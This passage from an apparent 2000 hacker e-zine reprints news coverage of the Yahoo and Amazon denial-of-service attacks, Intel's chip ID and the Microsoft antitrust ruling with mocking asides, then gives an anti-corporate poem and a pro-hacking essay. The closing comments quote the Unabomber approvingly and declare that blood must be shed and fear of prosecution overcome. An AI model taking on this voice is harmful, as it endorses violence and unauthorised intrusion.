Unique Visitors (millions) +Yahoo.com 36.4 +Amazon.com 15.9 + EBay.com 10.4 + ZDNet 9.4 + Buy.com 4.9 + CNN.com 4.5 + +[Times they used the word "hacker" in the above article: 11. Not bad.] + + * * * + Sources: Associated Press, Media Metrix + * * * + Staff writers Robert L. Jackson and Walter Hamilton contributed to + this report. + +Copyright 2000 Los Angeles Times + +------------------------------------------------------------------------------- + +Smells Like Mean Spirit +by Leander Kahney + +10:50 a.m. 9.Feb.2000 PST +Hackers, who pride themselves on Web attacks with a purpose, are scornful of the +"packet monkeys" responsible for this week's attacks on Yahoo, CNN, and other +high-profile sites. + +[I pride myself on web attacks. That's all I do.] + +The cracker or crackers responsible for the attacks have been contemptuously +dubbed "packet monkeys" because their exploits involve flooding a site with +packets of information and, detractors say, betray a distinctly simian +intelligence. + +Like "script kiddies" who use well-documented techniques and readily available +software to deface Web sites, packet monkeys are dismissed as adolescent vandals +by a community that celebrates know-how, originality, and creativity. + +"There's no technical prowess whatsoever in these kind of attacks," said +"Space Rogue," a research scientist with @Stake (formerly the highly respected +L0pht Heavy Industries) and editor of the Hacker News Network. "This isn't +anything new. This is old, tired technology someone is running in a big way." + +"This kind of thing is really frowned on," said YTCracker, a 17-year-old high +school student from Colorado, who recently claimed responsibility for cracking +a number of U.S. government sites. "It's a bunch of bored kids trying to show +they have the guts to do this.... We don't like to be associated with these +people." + +No one has come forward to claim responsibility for the attacks. + +[I did. Nobody listened.] + +Unlike a vandalized Web site, where the cracker usually leaves a moniker, says +hi to his friends, or taunts law enforcement, a packet monkey attack leaves no +public traces and no clue to the cracker's identity. + +Space Rogue said crackers typically advertise their exploits to gain acceptance +with their peer group. In fact, this is frequently the motive for the attack. + +"It makes you wonder what kind of person is pulling this off and why they're +doing this," he said. "There's no public record, no boasting, nothing left +behind." + +Space Rogue said there is also very little gossip about the identity and motive +of the attackers. + +"Rumors are scarce on this one," he said. "That's unusual.... My gut feeling +tells me it's an individual and not a group, but I don't have any evidence to +back that up." + +Although most hackers condemn the attacks, at least one poster to Slashdot +professed his "grudging admiration" for what appears to be a concerted +demonstration against the commercialization of the Internet. + +"This is the equivalent of a blockade -- a formal, organized protest," wrote +"Swordgeek." "Not throwing rocks through windows so much as linking arms in +front of a police line. + +"The brats and miscreants may have gotten their shit together and started to +fight for something worthwhile, rather than simply for the hell of it." + +Copyright (C) 2000 Wired Digital Inc., a Lycos Network site. All rights reserved + +------------------------------------------------------------------------------- + +A Frenzy of Hacking Attacks +by Lindsey Arent and +Declan McCullagh + +9:50 a.m. 9.Feb.2000 PST +The Internet is under siege. + +In the largest malicious assault in the history of the Net, scofflaws have +encircled some of the most popular Web destinations with armies of attacking +computers that snarl networks and thwart millions of legitimate visitors. + +While this kind of blitzkrieg has been directed at smaller sites in the past, +this is the first time that top-tier companies like Yahoo, Amazon, and eBay have +come under fire from malicious software that has become steadily more fearsome +over the last few years. + +The denial-of-service (DoS) war has spread to include CNN, eTrade, ZDNet, and +Datek. Both ZDNet and Datek, which said it was offline for 35 minutes, were +attacked Wednesday morning. + +Keynote Systems, a firm that tracks the reliability of popular Web sites, said +within a few minutes of the attack against Amazon that only 1.5 percent of +customers who wanted to could enter the site. + +Not helping matters is the rush to dot-com glory that has prompted many +executives to consider security -- and erecting sturdy walls against DoS +attacks -- as an afterthought, instead of viewing it as an integral part of +their networks. + +[In many cases, security isn't even an afterthought. It's not thought of +period. They don't consider it to be important. And I'm not talking about +preventing DDoS attacks either.] + +Some of the tools apparently used in these wide-ranging assaults, like TFN, +Stacheldraht, and trinoo, have been available since last fall, and their +progenitors have been used in less-noticed barrages against smaller sites since +1997. + +It's not surprising that security experts have anticipated a more serious +assault for some time. + +"The flaws that these people are exploiting are flaws that we have known about +for more than five years, which there has been little instance in correcting," +says Simson L. Garfinkel, an author and part owner of a security counter- +measures firm. + +"This is really just the beginning. What we're seeing is as if a group of +moral-less teenagers had discovered automatic weapons in an abandoned military +site and were going around killing small animals with tremendous firepower," he +said. + +In this World War Internet, the weaponry is simple and widely available: +software distributed in underground areas of the Net that allows a large network +of participating computers to overwhelm the target. It's relatively easy to use, +though the attacker has to penetrate the security of each of the machines in +order to enlist it in the campaign. + +[World War Internet? Huh? You lost me there.] + +The looming threat prompted Carnegie Mellon University's Computer Emergency +Response Team to release an advisory last month. Stacheldraht agents have been +spotted on Solaris machines, and a version appears to be available for Linux as +well. + +[The mighty CERT steps in.] + +One big difference -- or improvement, if you're the person using it -- is that +unlike its cousins, Stacheldraht uses encrypted communications to cloak its +intentions from administrators who might be monitoring the network. + +That isn't exactly heartening news for network administrators at the sites +attacked this week. The latest list includes Buy.com, CNN.com, ZDNet, eTrade, +and Datek Online Holdings, the No. 4 online broker. + +"At 7 p.m. EST [Tuesday], we were attacked by hackers," CNN Interactive said in +a statement. "A denial-of-service attack occurred until 8:45 p.m. We were +seriously affected. We were serving content but it was very inconsistent and +very little." + +[What did these hackers attack you with? Big sticks?] + +A spokesman for ZDNet said 70 percent of the ZD sites were down for two-and-a- +half hours, beginning at 7:10 a.m. EST Wednesday. + +"We do believe that it was an attack, and it appears to be on the leading brands +on the Internet," ZDNet CEO Dan Rosensweig said. + +[Brands?] + +Rosensweig says he thinks ZDNet was targeted because of its big-name +recognition, but he says he has no idea what's driving the hackers. + +"The only thing we're sure of is that we're not sure," he said. + +[You're also sure to get free media coverage for ZDNet out of the deal.] + +Buy.com's site was offline for much of Tuesday, the same day as its successful +IPO in which its share price nearly doubled to $25.125 from its asking price. + +Details are few. The FBI has tentatively scheduled a press conference for 2 p.m. +EST, although companies have released little technical information about who -- +or what -- was behind the mystery fusillade. + +[I taped that one. It's one for the video archives.] + +Yahoo said that up to 50 different computers hooked up to the Internet were +participating, and the rates reached a gigabyte per second -- an enormous +increase over normal traffic patterns. + +Experts said that if history was any indication, the vast majority of unwitting +systems that were taken over and are participating in the attack are inside +university systems. The reason: Campuses have fast connections to the Internet +-- necessary to overwhelm sites as large as Yahoo and Amazon -- and dorm and +faculty computers have notoriously poor security. + +The FBI met Tuesday with Yahoo representatives and declined to comment. + +Copyright (C) 2000 Wired Digital Inc., a Lycos Network site. All rights reserved + +------------------------------------------------------------------------------- + +Tuesday March 14 11:21 PM EST +Feds Debut Site to Fight Computer Crime +Keith Perine +(Industry Standard) + +WASHINGTON - In the wake of last month's hack attacks on Yahoo, E-Trade, and +other leading Web sites, the Department of Justice Tuesday unveiled a new public +information site designed to take on Internet crime. + +[Good idea.] + +The new site, www.cybercrime.gov, is sponsored by the department's Computer +Crime and Intellectual Property Section, the 18-member legal team that +coordinates the government's prosecution of computer criminals. The site +displays reports, testimony, and links to other sites, such as a department- +sponsored "Internet Do's and Don't's" page aimed at children who use the Web. + +[It's a good one too.] + +"Law enforcement wants to work with the public and industry to fight computer +crime," said CCIPS chief Martha Stansell-Gamm in a statement. "Being connected +to the Web also facilitates our work with law enforcement agencies all over the +world." + +But industry hasn't been quite so eager to cooperate with the government. After +denial-of-service attacks paralyzed sites such as eBay and Amazon last month, +President Clinton convened a high-profile White House summit on the issue. A +proposal for a computer crime coordination center was floated, and then hastily +quashed by industry, which prefers to share information privately rather than +with government. Ironically, the government has been criticized in recent weeks +for failing to sufficiently anticipate the denial-of-service threat. The Justice +Department declined to comment on their ongoing investigations. + +CCIPS attorney David Goldstone acknowledged the industry's reticence, and he +noted the misperception by the private sector that the government doesn't have +the chops to chase Internet criminals. Goldstone said the site demonstrates the +government's "ample prosecutorial experience," adding that, hopefully, industry +cooperation will now be more forthcoming. + +The site gives information on how to report various Internet crimes, from +password trafficking to Internet bomb threats. In testimony before a U.S. Senate +appropriations subcommittee last month, Attorney General Janet Reno said that +mushrooming computer crime is stretching the Justice Department's resources +thin. Reno said that increased funding was needed to avoid, among other things, +layoffs in CCIPS. + +Copyright (c) 2000 The Industry Standard + +------------------------------------------------------------------------------- + +MCI WorldCom Announces Date for Shareholder Vote on +Pending Merger with Sprint + +Clinton, Miss., February 25, 2000 +- MCI WorldCom today announced it will hold a special meeting of its +shareholders on April 28, 2000, to vote on its pending merger with Sprint. +MCI WorldCom shareholders of record on March 6, 2000 will receive proxy +materials and be entitled to vote at the April 28, 2000 special meeting. + +MCI WorldCom (NASDAQ: WCOM) is a global leader in "all-distance" +communications services with operations in more than 65 countries. Revenues in +1999 were $37 billion, with more than $15 billion from high-growth data, +Internet and international services. MCI WorldCom and Sprint have announced a +merger agreement, which the companies expect to close in the second half of +2000 after regulatory and shareholder approvals. For more information go to +http//www.wcom.com. + +(C) 1999 MCI WORLDCOM, Inc. All Rights Reserved. + +------------------------------------------------------------------------------- + +Famous isolated phone booth removed + +May 22, 2000 +Web posted at: 5:26 PM EDT +(2126 GMT) + +BAKER, California (AP) -- The world's loneliest pay phone has rung for the last +time. + +The phone booth had stood for decades in the middle of nowhere, deep within the +Mojave National Preserve. But Pacific Bell and the National Park Service said +they had to remove the phone Wednesday because it was attracting too many +curiosity-seekers. + +"While the phone and its location proved to be a novelty for some in recent +months, the increased public traffic had a negative impact on the desert +environment in the nation's newest national park," they said in a statement. + +The phone was installed in the 1960s for use by miners digging volcanic cinder +nearby. + +The booth began attracting attention on the Internet about three years ago. + +People routinely dialed the number from all over the world just to see if +someone would answer. Often someone did, usually passers-by who were equally +curious about who was on the other end. + +Now all that remains of the booth is the concrete pad on which it stood. + +Copyright 2000 The Associated Press. All rights reserved. + +------------------------------------------------------------------------------- + +The telephone company and the National Park Service have removed the famous +Mojave Desert phone booth. + +By Roger O'Neil +NBC NEWS CORRESPONDENT + +DENVER, May 23 - Earlier this year NBC News introduced you to a telephone booth +in the middle of nowhere in California's Mojave Desert. Its number had gotten +onto the Internet and people called in from around the world. The line now is +officially dead, but the legend lives on. + + ONE PART of the Mojave Desert is very different now. It's once again all +natural and pristine. There's no more ringing. + + That's because the Mojave Desert phone booth is gone - vanished - a +victim of its own worldwide popularity. It was taken away not by vandals, but by +the Pacific Bell telephone company and the National Park Service. + + Why? + + Their official statement reads, "Increased public traffic had a negative +impact on the desert environment." + + In other words, despite 1.6 million acres of sand, cactus, Joshua trees, +and snakes, too many people, 25 or 30 a week, were tramping way out of their way +to answer the phone. + + Still, to know the phone booth was to love it. + +LOCAL LOSES PHONE + + "Mojave phone booth, Charlie speaking," one desert dweller answered. + + With nothing better to do, he started answering the phone when it rang +and became a celebrity. + + "Ho Chi Minh City, Vietnam," a voice announced on the receiver. + + There were the thousands of people who called the 706-733-9969 number +from around the world, just to see if anyone would answer. + + What will happen to Charlie? He, of course, has no phone now. But a +friend of a friend found him and he called us from another pay phone. + + Does Charlie know why the phone's gone? + + "I have no idea," he said. "I'd seen a newspaper yesterday on it. And it +was just uh, a quick deal, they just grabbed it and run with it." + + The desert phone was installed 40 years ago for workers in nearby mines. + + The Mojave came under federal control six years ago and has just been +designated a national park. While there are big plans to welcome park visitors, +it'll be without the desert phone. Maybe it was just too noisy. But the new +silence can be deafening. + + Perhaps the phone was just a desert mirage, now disconnected from +reality. + +------------------------------------------------------------------------------- + +Intel Nixes Chip-Tracking ID +by Declan McCullagh +3:00 a.m. Apr. 27, 2000 PDT + +Hoping to avoid another campaign by privacy activists, Intel has decided not to +include a controversial user identification feature in its forthcoming 1.5 GHz +Willamette chip. + +[What? No Big Brother Inside anymore?] + +Absent from Willamette's design are a unique ID number and other security +measures that could be used to limit piracy by tracking users, an Intel source +said Wednesday. + +[Awww... C'mon. Implement it into the chip.] + +"The decision has been made and the engineers have already been told," said the +source, who spoke on the condition of anonymity. "The gains that it could give +us for the proposed line of security features were not sufficient to overcome +the bad rep it would give us." + +[Bad rep? Nah.] + +In January 1999, Intel said it would wire a unique ID into each Pentium III +chip, but then disabled it after privacy activists began a boycott and a +prominent House Democrat denounced the plan. + +An Intel management committee, after hearing from marketing, privacy, and +engineering representatives who were opposed to the idea, reportedly made the +decision not to include similar features in the much-anticipated Willamette +chip, the source said. + +Besides the serial number, the other missing features include support for +hardware digital certificates -- something banking and finance firms would have +preferred, the source said. + +David Sobel, general counsel of the Electronic Privacy Information Center, +cheered the move. + +"We've always said that certain institutional users might want it," Sobel said. +"But it's always been a question of user choice. And the vast majority of +individual users did not want their machines to be branded with an identifier." + +At the RSA Data Security conference in January 1999, an Intel executive said the +ID number could be used to boost security in e-commerce. + +"You think about this maybe as a chat room, where unless you're able to deliver +the processor serial number, you're not able to enter that protected chat room +and providing a level of access control," said Patrick Gelsinger, an Intel +vice president. + +But privacy activists saw it differently, and mounted a campaign against the +ID number. + +EPIC even fired off Freedom of Information Act requests to find out if the feds +pressured Intel to include the ID. "No agency has yet acknowledged any +involvement. But they have not all responded yet," Sobel said. + +The Chinese government, according to one news report, was so spooked by the ID +number that it cautioned against using computers with Pentium IIIs. + +[I heard rumours that the Canadian government was all for it though.] + +Intel released a software program -- albeit a buggy one -- to disable the serial +number, and then a BIOS modification. + +[Why they chose to do that is beyond me.] + +Jason Catlett of Junkbusters says he's glad to see that Intel decided to avoid a +repeat of the controversy when Willamette is released in fall 2000. + +"I'm not surprised, but I'm still delighted. It's a chapter that I and all +privacy advocates are very glad to close," Catlett said. + +"We can finally call off the boycott," he said. + +[Our personal boycott of Intel chips continues. Fuck Intel.] + +Copyright (C) 2000 Wired Digital Inc., a Lycos Network site. All rights reserved + +------------------------------------------------------------------------------- + +Judge orders Microsoft split Final ruling in landmark antitrust trial adopts +bulk of DOJ's recommendations +June 7, 2000: 6:37 p.m. ET + +WASHINGTON (CNNfn) - Calling the world's largest software maker "untrustworthy," +a federal judge Wednesday ordered Microsoft to be broken into two smaller +companies to prevent it from violating state and antitrust laws in the future. + +In a scathing 14-page decision, U.S. District Judge Thomas Penfield Jackson said he was ordering the break up +because the company and its leadership appears unwilling to accept the "notion +that it broke the law or accede to an order amending its conduct." + +[They're a defiant bunch at Micro$oft.] + +If the breakup stands, it would be the largest court-ordered split since the +1984 dismantling of telephone giant AT&T. + +Jackson ordered Microsoft to be divided into a PC operating systems company, and +a company that holds the remainder of its business, including its dominant +Office suite of applications, the Internet Explorer Web browser and other +businesses. Microsoft has been ordered to submit a divestiture plan within four months. + +Microsoft immediately vowed to appeal the decision, a process which could take +up to two years, during which time the ordered split is likely to be postponed. + +"This is the beginning of a new chapter in this case," Microsoft Chairman Bill +Gates said in a video statement. "We will be appealing this decision, and we +have a very strong case on appeal. + +This ruling is inconsistent with the past decisions by the appeals court, with +fundamental fairness and with the reality of the marketplace." + +The ruling marks the end of the trial phase of the landmark antitrust case, and +the beginning of what many believe will be a lengthy appeals process. + +[snip] + +Joel Klein, Justice's lead antitrust enforcer, laid the responsibility for +Wednesday's ruling squarely on Microsoft's top executives. + +"Microsoft itself is responsible for where things stand +today," Klein said. "Its repeated illegal actions were +the results of decisions made at the highest levels of +the company over a lengthy and sustained period of time. +They reflected defiance of, not respect for, the rule of +law." + +[snip] + +The vast majority of the world's desktop PCs run some version of Microsoft's +Windows operating system. In his findings of fact in the case, Jackson said the +company has used that prodigious market power to harm companies that pursue +initiatives that could intensify competition against one of Microsoft's core +products. + +[snip] + + Copyright (C) 2000 CNN America, Inc. + ALL RIGHTS RESERVED. + +------------------------------------------------------------------------------- + +Break It Up +By Jonathan Dube +[ABCNEWS.com] + +June 7 - A federal judge ordered software behemoth Microsoft to be split into +two independent companies today in one of the most severe punishments ever +handed down for antitrust law violations. + + U.S. District Court Judge Thomas Penfield Jackson accepted the Justice +Department’s proposal to break Microsoft into one company for its dominant +Windows operating system and another for software applications such as Word and +Internet Explorer. + + "Microsoft as it is presently organized and led is unwilling to accept the +notion that it broke the law or accede to an order amending its conduct," +Jackson wrote. + + Jackson says he believes it is necessary to break up the world's largest +software company to “terminate the unlawful conduct, to prevent its repetition +in the future, and to revive competition in the relevant markets. + + Jackson also added, "Microsoft has proved untrustworthy in the past," +citing the company's failure to comply with a court ruling earlier in the 1990s +that preceded the antitrust case. + +Microsoft Plans Appeal + +The breakup will not occur anytime soon, as Microsoft has vowed to appeal the +ruling immediately. + + Shortly after the ruling, the Justice Department said it would ask the U.S. +Supreme Court to directly review the ruling, bypassing the appeals court, in an +effort to reach a "quick and effective resolution" of the case. + + The Supreme Court can either grant the government's request, which still +must be certified by Jackson, or the court can order that the case be heard by +the U.S. Appeals Court instead. + + Since a lengthy appeals process was expected, Jackson imposed conduct +restrictions on Microsoft to take effect in 90 days. Microsoft, however, plans +to appeal those restrictions as well. + + "We believe we have a very strong case on appeal," Microsoft Chairman Bill +Gates said. "We believe this ruling is inconsistent with the past decisions by +the Appeals Court, with fundamental fairness, and with the reality of the +marketplace." + + "This is clearly the most massive attempt at government regulation of the +technology industry ever," Gates said. "This plan would undermine our high-tech +economy, hurt consumers, make computers harder to use, and impact thousands of +other companies and employees throughout the high-tech industry." + +[Make computers harder to use? Haha.] + +Today's judgment marks a major triumph for the Justice Department and the 19 +states that first brought the antitrust lawsuit against Microsoft on May 18, +1998. + +[snip] + +Copyright (c)2000 ABC News Internet Ventures. + +------------------------------------------------------------------------------- + + +THOUGHTS, POEMS AND CREATIVE WRITING - {WRITING} + +The Voice of the Monopoly. + +This isn't a game. +These corporations are without ethics and honour. +They have no shame. + +They operate without conscience. +Money is all consuming. +Nothing else is of any consequence. + +They feed you lies. +Exploit you. Steal your money. +Then they sell your minds. + +They live by influence and greed. +You're just there to be used and exploited. +They'll tell you what you need. + +You are the commodity. +They exist to profit and lie. +They'll sell you your own information for a fee. + +Greed is their motto. Corruption is their name. +They prey on the weak-minded. +For that, zombie consumers are just as much to blame. + +They misinform and use lies. +Influence and brainwash. +Anything to ensure commercialism never dies. + +Who can I bribe? Who else can I buy? +More affluence. More power. +Must destroy more cultures and more lives. + +What else can we control? What else can we take? +How many more minds can we fuck before the day is done? +Only mindless zombies are left. Who else can we rape? + +Target the poor. Service charge them to death. +Enlist Big Brother. Enslave the homeless. +Monopolize the world. Take until our dying breath. + +Rob them blind. Steal their minds. +Make them pay. Sell them anything they don't need. +Force them to want it. Pillage whatever we find. + +Corrupt, brainwash and labotomize. +Make them jealous and envious. Make them greedy. +Then swoop in for the kill to take our prize. + +Eliminate competition. Do away with free thought. +Control them all. Influence with advertising. +Take all we can. Afterall, anyone can be bought. + +Never be satisfied. Billions aren't nearly enough! +The fools will suffer. Let them live in poverty. +It's more for us. More money, more materials, more expensive stuff. + +Drive their egos and greed. Make materialism the accepted way. +Tell them they need to buy more. Track and monitor it all. +Remove freedom of choice. Take their say and make them all pay. + +Fill our company coffers. Make them overflow. +Bolster the corporate image. They'll learn to love us. +Kill their independence. Make them all into puppets of the NWO. + +Tell them it's all for the best. It's the new economy stupid. +Make them understand. Teach them the way. +Guide them away from truth. Then we'll be ready to make our final bid. + +Show them the way with a bullet in the back of their head. +Take a trick from China's book by billing their family. +Buy all of the politicians you can and put them all to bed. + +Form organizations to protect ourselves. Protect the wealth. +Secure the market. Become bigger and stronger. +We'll own them. Nothing can stop us. Who needs stealth? + +Be relentless and vicious. Have no mercy. +Hostile takeover. Acquire and appropriate. +Steal and propagate. Greed is the key. + +Take their resources. Watch them struggle and die. +It's all ours to use and hoard. Ours to claim. +We mock protesters. We laugh in the face of public outcry. + +Master them. Master and own everything. +No one can discredit us. Our lies are their truth. +Encourage overpopulation. Think of the new consumers it'll bring! + +Make them salivate with desire. Make them buy. +Their greed is insatiable. They thirst and lust for more. +Use that against them. Capitalism will never die. + +Crush their spirit. Take their souls. +They're ours. We own them now. +We'll do anything to make sure we stay in our control. + +Enslave the workforce. Keep them hungry. Keep them down. +Make them loyal. Make them believe they're lucky. +Work them to death. Tighten their chains. Keep them locked and bound. + +Trap them. Cage them in. Imprison them all. +Exploit and exploit some more. +Tell them to be happy. They should be glad to have jobs at all. + +Turn prisons into factories. Prisoners don't have any rights. +They're a cheap, renewable resource. No unions. No benefits. +Pay them next to nothing. Our profit levels will reach new heights. + +The best part is the government agrees with us and already sanctions it all. +It's a whole new workforce, without salary demands, work stoppages or strikes. +Think of the possibilities. They're literally trapped behind a corporate wall. + +Take and continue to take. Take it all. Rape it all. Fuck them all. +We're in control. We already know we'll always win. +We can't lose. We're big and powerful. They're weak and small. + +We control every aspect of their lives, from the cradle to the grave. +Push them as far as we can. They need us to survive. +They are our lackeys. They are zombies -- the ultimate willing slaves. + +Written by BLACKENED ú Damage, INC. (C)opyright 2000. + + +Technology: Hacking in 2000. + +Information is the New World Order. Electrons racing through circuits, just +as they race through your brain. Digital switches, servers and data networks +overflowing with information. Routers sending packets in all directions, all +around the world. Terrabytes upon terrabytes to sort through and disseminate. +Systems running at a Gigahertz, or faster. Other systems sitting idle, just +waiting to be found and used. This is the new world. Data is the order of +the day. Information overload. + +Seek knowledge. Pursue information relentlessly. Don't be denied access. + +At no other time in history has so much information been available to the +individual. There's never been a greater opportunity to learn and to know. +We have so much access to information now. Think of the possibilities. + +Being told what to learn is the equivalent of being told what to think. Instead +of simply doing what you're told and following a set of instructions, think for +yourselves. Learn and do for yourselves. Know for yourselves. + +Overcome the restrictions. Break down the barriers. Fuck the system that's +designed to keep you out. Fuck the "society" that strives to keep you blind, +naive and uninformed. Fuck them for wanting to prevent people from learning. +Use technology to your own advantage. Use it to further your own knowledge. + +Hack for the challenge. Hack for knowledge. Hack for freedom of information. + +Fuck the status quo. Fuck the establishment. Fuck them all. Change your +reality. Create your own reality. Dream. Invent. Innovate. + +Hackers that take discarded hardware and information such as manuals, and make +good use of it shouldn't be classified as criminals. Trashing shouldn't be +discouraged as being an illegal, criminal act of trespassing. Why should +something that's destined for the landfill, that's perfectly usable, not be +used freely by anyone that's interested in it? That's what is really criminal. + +A "society" that espouses the virtues of recycling and reusing materials and +then tries to prosecute individuals that are doing just that is completely +hypocritical. Trying to prevent someone from saving computer manuals that +would otherwise end up buried underneath a mountain of garbage is ridiculous. +Why shouldn't they be allowed to read material that has been thrown away as +trash? If they're worried about sensitive or propriety company information +falling into the wrong hands, shred it. Take precautions. But don't try to +arrest people for wanting to read materials that were in a dumpster. That goes +beyond paranoid. That's insanely ridiculous. And that's Big Brother. + +Hacking isn't about profit. It isn't about fame, notoriety and media attention. +Hackers don't need to brag and boast to bolster their image. They don't need +to do things just to prove they have knowledge and skill. And they definitely +don't need a criminal record or media exposure to be considered a hacker. + +Hacking, in its true form, is about learning, exploring and the pursuit of +knowledge. It's about the desire to know the intimate workings of a system, +or how to make systems and programs more powerful and efficient. It isn't +about destroying. Hacking isn't criminal. Hackers aren't terrorists. They're +a culture of computer hobbyists, interested in technology. That's not wrong. + +Exploring, creating, improving and using technology is a noble effort. Don't +ever be ashamed to be a hacker. Don't hesitate to use that term to describe +yourself if you feel that's what you are. Be proud to be a hacker. Don't +worry about how you're perceived by others, or what the popular misconceptions +about hackers are. Stereotypes, assumptions, accusations, myths, rumours, +stories and false definitions abound, and they will always exist. Yet hackers +are unique. That cannot be denied. + +The media doesn't distinguish between criminals, crackers and hackers. They +probably never will, since they don't give a fuck about what the public thinks, +what misinformation and disinformation they spread. They're only concerned +about profit. Blaming hackers for everything maliciously done using computers +sells stories, books and movies. Definitions vary from person to person, so +it's a futile effort trying to change it. And trying to educate an ignorant +media on the meaning of the word hacker is useless. They will defiantly +continue to use the word indiscriminately anyway. Most of the media will at +least. So will law enforcement. So will most of the masses. We are all the +same in their eyes. Malicious acts which cause damage or loss of services are +viewed in the same light as harmless exploration of systems. They're treated +the same way under the law as well. Justice and fairness don't come into play. +The word "hacker" has long been equated with meaning "computer criminal" in +those circles. That isn't going to change anytime soon. It benefits them +financially to continue propagating that falsehood. + +Hackers have recently become almost darlings of the media. That is, the high +profile hackers that are willing to give interviews, quotes, sound bytes, etc. +However, in most instances, the media refers to them as being a "former hacker" +instead of using the more accurate description of hacker. How does one become +a "former hacker" anyway? Is there some type of Hackers Anonymous program, +setup to rehabilitate and reform hackers? Can someone just make a conscious +decision to quit hacking, and cease being what they inherently are? It's a +joke. You can retire from the h/p scene, but if you are a hacker, that's what +you will always be. If you're involved in anything that can be construed as +illegal, you can quit doing that and hack legally through various jobs or +whatever. But there's no way in hell someone can become a former hacker. It +just doesn't work that way, or even make sense to give someone that title. + +The reason the media does that is to mask the fact that they're actually +associating with hackers. They want the public to look at hackers as being +criminals. Therefore, because of that, they can't write a story portraying +hackers as being malicious criminals one day, and ask a hacker for advice the +next. They have to maintain the false image of hackers that they've created. +They don't want to change the public's perception of them. So, they attempt to +deceive people by using a term that's illogical. No hacker describes themselves +as being a "former hacker" or "ex-hacker". That's a creation of the media. A +few have even spoken out and said they'd rather be called a hacker. Usually +that doesn't garner a response from the media. They just try to ignore it and +pretend that comment wasn't mentioned. + +In my humble opinion, a person is either a hacker, or they aren't. It's a +mindset. It's a lifestyle. It's a culture. You can "retire" from the +"underground h/p scene", but if you were a hacker to begin with, the way your +mind works won't suddenly change. Your interest in it won't just dissolve. + +The public is oblivious to the world and culture which hackers have created. +They rely on what they've been told to believe. They don't know us, or what +we're about. Their views and opinions of hackers are limited to small blurbs +printed in newspapers, unrealistic, fictional movies and short television clips +on the nightly news. We will probably always be misunderstood by the masses +to a large degree. However, being understood and accepted by them shouldn't be +our goal. What the majority thinks of us shouldn't be our main concern. + +Throughout the years, hackers have been wrongly blamed for things in which they +were not responsible. They're an easy target. The rumours, myths, legends and +hacker lore add to a false image of them. Assumptions are quickly made. And +stories are swiftly written. Regardless of that, I'm convinced that it doesn't +matter what's written and said about hackers, or how many times. Understanding +and acceptance are unreachable and unreasonable to expect. Deprogramming the +brainwashed law enforcement, media and masses would be an extremely difficult, +time consuming venture to undertake. And it would require an overwhelming, +concerted effort on behalf of the entire hacking community. Even then, it still +might result in failure. That is the reason it shouldn't be the goal of hackers +to convince others that we aren't what they believe us to be. Stick to your +own ethics, morals and beliefs instead of trying to change what they believe. +Let the zombies believe the lies and disregard the truth. They can only +discredit hackers amongst themselves, and the image they hold. They cannot +destroy the true meaning, no matter what lies they spread. They, and their +twisted beliefs are of no consequence to us. + +Information is power. Power is knowledge. True power is only achieved through +information and knowledge. Expand your mind. + +This is our world. This is our time. + +Use your electrons. Think. Hack. Explore. + +--- + +Note: For reasons of nostalgia, I read through some old text files in my +collection again and was inspired by The Mentor's "Conscience of a Hacker", +which was written in early 1986. His words have withstood the test of time, +as they still ring true today. It's still "the world of the electron and the +switch, the beauty of the baud." as he once wrote. This article is merely a +reminder of those poetic words and that poignant message. In a way, it's +also a tribute to the hackers of previous generations. Their contributions +were so great they cannot be measured, or forgotten. + +Written by BLACKENED ú Damage, INC. (C)opyright 2000. + + +CLOSING COMMENTS - {CLOSING} + +"By "freedom" we mean the opportunity to go through the power process, with +real goals not the artificial goals of surrogate activities, and without +interference, manipulation or supervision from anyone, especially from any large +organization. Freedom means being in control (either as an individual or as a +member of a SMALL group) of the life-and-death issues of one's existence; food, +clothing, shelter and defense against whatever threats there may be in one's +environment. Freedom means having power; not the power to control other people +but the power to control the circumstances of one's own life. One does not have +freedom if anyone else (especially a large organization) has power over one, +no matter how benevolently, tolerantly and permissively that power may be +exercised. It is important not to confuse freedom with mere permissiveness." +- The Unabomber's Manifesto + +Freedom cannot exist when large organizations, such as the newly merged, +Goliath corporations of today, take control (over services, access, content, +availability, costs, etc.), seize power over an entire industry, and thereby +monopolize it. The citizen (in this case, a consumer/customer) is without +choice, and therefore, powerless. The power and control are both in the hands +of the corporation, which in turn removes the freedom of the citizens. The +same applies outside of business and technology. It applies to all things, +including politics (governments which have total control). Thus, monopolies +of *any* type are detrimental to the individual citizens and small groups. +They are only beneficial to the monopoly itself, and the ones that hold power +in it. The rest are merely outsiders, only existing to be used and exploited. + +In comparison to the monopoly, individual citizens are small and insignificant, +since they lack power and control. And since they and small groups that oppose +them aren't well organized, and unified, they don't have a voice that's heard +and taken seriously. Usually such people are looked at merely as being fringe +lunatics, with strange ideas about "society". Ideas that the rest of the masses +don't support, or even consider. They're simply ignored, along with the people +that hold those opinions. They aren't a threat, or even a real obstacle to the +huge monopolies, since they don't have any real power. They're the few that +cannot be manipulated into conforming. But without strength and unity, they +can't fight the system. But the system, as it currently exists, must be fought. +The very survival of individuals relies on it. + +The real commodity of monopolies are the consumers. They're the ones that are +being bought and sold, rather than products and services they're purchasing. +In reality, they're what the monopoly is about. Without the brainwashed hoards +supporting them financially, they couldn't monopolize any markets. Therein +lies the Catch-22. If a person doesn't want to support the monopoly, but still +wishes to buy the goods and services that they control, they can't go elsewhere. +It's either support them, or go without. It's not about possessions, it's +about not being one. It's not about being a consumer, but rather not being +consumed. It's about not being monopolized. + +As a final note, this issue is dedicated to the unthinking, undead creatures +known as zombies, that roam the earth aimlessly in search of leaders, greed, +conformity and total ignorance. They wander for eternity and condemn themselves +to slavery, so that the rest of us, the intelligent, thinking individuals, will +have an example of what not to become. Zombies exist so that we may have +something to compare ourselves to, and to distinguish ourselves from. They're +the exact opposite of what we're meant to be, and how we should live. They show +us what being confined and chained to limitations means. In a way, they can +inspire us to be something better, something more. They prove that without +individualism, liberty and freedom, there's nothing. They're here so that we +may see them, their ways, their lifestyle, and shake our heads in disgust. They +make the confines of "society" clear and real to us all. They are conformity +personified. They choose to deprive themselves of freedom. They are the best +representation of mental, spiritual and social slavery in the world today. +Without them, we would have nothing to measure ourselves against. + +Stand tall in the face of tyranny. Fight oppressive, corrupt regimes. Resist +becoming a commodity of the greedy and corrupt powers. Don't bow down to your +oppressors and slave masters. Freedom still isn't free. Information, education +and knowledge aren't free either. Neither are justice and true power. They +must all be fought for. We aren't just out to bollix the system. We're out +to phreak the system like a bull running rampant in a china shop... or a shark +tearing through flesh with razor sharp teeth. Blood must be shed in order to +enact change. And fear of prosecution must be overcome if we're ever going +to make any significant difference. Speaking out, distributing literature and +protesting just isn't enough. It has proven to be ineffective. To take back +control, to grind the wheels of the system to a halt, we must be willing to do +more than exchange words. A voice that goes 